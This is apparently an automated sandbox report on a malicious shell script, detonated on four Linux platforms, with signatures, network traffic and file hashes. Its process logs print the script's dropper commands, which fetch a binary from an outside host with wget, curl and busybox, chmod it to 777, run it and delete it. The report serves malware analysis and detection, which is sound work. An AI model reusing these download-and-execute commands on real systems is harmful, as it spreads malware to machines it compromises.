Analysis Overview
SHA256
fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643
Threat Level: Shows suspicious behavior
The file fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
Writes file to tmp directory
System Network Configuration Discovery
Reads runtime system information
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 03:12
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 03:12
Reported
2024-11-25 03:15
Platform
ubuntu1804-amd64-20240729-en
Max time kernel
148s
Max time network
128s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh
[/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
Network
| Country | Destination | Domain | Proto |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 89.187.167.39:443 | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 03:12
Reported
2024-11-25 03:15
Platform
debian9-armhf-20240418-en
Max time kernel
149s
Max time network
2s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh
[/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 03:12
Reported
2024-11-25 03:15
Platform
debian9-mipsbe-20240611-en
Max time kernel
135s
Max time network
144s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW | /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW | /usr/bin/curl | N/A |
Processes
/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh
[/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/bin/chmod
[chmod 777 BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
[./BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/bin/rm
[rm BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 03:12
Reported
2024-11-25 03:15
Platform
debian9-mipsel-20240729-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW | /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW | /usr/bin/curl | N/A |
Processes
/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh
[/tmp/fe3954bd61e2b9727ab37f057909fb0de12b5e1d1b8665afd73ad2a35039f643.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/bin/chmod
[chmod 777 BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
[./BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/bin/rm
[rm BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/evByMY4wmzNymjcp2tK0lMRkVdU65J5ieu]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/BFR0SDwLKL8WGZWw1Y9arCn6tZ0sZ7N1YW
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |